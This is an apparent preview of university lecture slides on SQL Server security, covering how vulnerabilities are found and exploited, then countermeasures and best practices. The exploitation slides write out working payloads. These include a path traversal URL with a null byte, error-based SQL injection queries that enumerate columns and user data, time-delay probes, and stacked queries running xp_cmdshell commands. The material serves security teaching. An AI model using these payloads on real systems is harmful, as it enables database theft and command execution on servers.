Docsity

SQL Server Vulnerabilities: Identification, Exploitation, and Countermeasures, Slides of Network security

Partial preview of the text

Download SQL Server Vulnerabilities: Identification, Exploitation, and Countermeasures and more Slides Network security in PDF only on Docsity!

1

SQL Server Vulnerabilities

2

SQL Server Vulnerabilities

  • Vulnerability identification
  • Exploiting vulnerabilities
  • Countermeasures
  • Best practices
  • Oracle vulnerabilities

4

Vulnerability Identification

  • Example:
    • www.example.com/getimage.asp?f= 8&e=gif is an allowed operation
    • www.example.com/getimage.asp?f=..\maketr ade.asp%00&e=gif is an exploit
    • Vulnerability is that the “f” parameter can allow access to files in its parent directory path
    • %00 passes a null character that suppresses the restriction to “gif” files only

5

Vulnerability Identification

  • Character insertion vulnerabilities:
    • Single quote, double quote, #, ||
    • SQL reserved words insertion:
      • tab %
      • carriage return %0d
      • linefeed %0a
      • space %
    • make the system wait while executing a query: - ‘1+waitfor+delay+’0:0:10’--

7

Exploiting Vulnerabilities

  • Select * from users where username = ‘ or 1 in (select ‘a’+str(id) from sysobjects where name=‘users’)-- will give an error message that contains the information to find the column names (e.g., syntax error converting the varchar value ‘a 2815072’ to a column of data type int)
  • Select * from users where username = ‘ or 1 in (select name from syscolumns where id=2815072 and colorder > 0)-- will give the column name
  • Successively replacing the colorder > 0 to 1, 2, 3, etc one can find the names of all columns

8

Exploiting Vulnerabilities

  • Assume that the column names are id, username, password, transaction_limit, settings_file - Select * from users where username = ‘ or 1 in (select ‘a’+str(max(id)) from users)-- will give the maximum id value corresponding to the last user in the table - Select * from users where username = ‘ or 1 in (select ‘a’+str(max(transaction_limit)) from users)-- will give the maximum value of transaction limit for any user

10

Exploiting Vulnerabilities

  • In the absence of error messages, see if

sysadmin is logged in:

  • When the following code is placed in the middle of an SQL command, if(is_srvrolemember(‘sysadmin’)>0) waitfor delay ‘0:0:5’ a pause in execution is an indication that the sysadmin is logged in
  • Exploiting from command line
  • Select * from users where username = ‘asmith’; exec xp_cmdshell ‘dir > c:\foo.txt’--

11

Exploiting Vulnerabilities

  • Exploiting from command line
    • Select * from users where username = ‘asmith’; exec xp_cmdshell ‘nslookup thisisatest 192.168.1.1’-- will look for the host thisisatest on the DNS server 192.168.1.

13

Exploiting Vulnerabilities

  • Vulnerable extended stored procedures in

the sp_OA family are:

  • sp_OACreate
  • sp_OADestroy
  • sp_OAGetErrorInfo
  • sp_OAGetProperty
  • sp_OAMethod
  • sp_OASetProperty
  • sp_OAStop

14

Exploiting Vulnerabilities

  • SQL Server outputs plenty of usable error messages
  • Both Oracle and MySQL do not output much usable error messages
  • SQL Server does an implicit conversion of integers to strings where necessary, making it easy for hackers to guess data types
  • Use of single line comment character sequence of --
  • Query batching feature (i.e., multiple queries can be run in sequence by separating them with semicolon)

16

Countermeasures

  • User input should not be placed

unmodified directly into the SQL query

  • Extended stored procedures should not be

available for anyone with public role

  • Application should not connect to the

database as ‘sa’

  • SQL server should not be installed to run

under SYSTEM or localsystem account

17

Countermeasures

  • Allow only known good input
  • Strip or reject bad input
  • Avoid running query of a user’s choice
  • Do not rush to production any software

under development

  • Address security issues at design time
  • Turn-off unnecessary error messages

19

Best Practices

  • Run SQL Server with least privileges
  • Restrict execution of extended stored

procedures

  • Apply change control and version control

in development

  • Perform periodic security code review
  • Have policies in place to identify how

emergency application changes will be

handled

20

Best Practices

  • Check the permissions associated with pre-

configured roles:

  • db_accessadmin
  • db_owner
  • db_securityadmin
  • public
  • Check statement-level and object-level

permissions:

  • Statement-level permissions: create table, view, sp
  • Object-level permissions: select, update, insert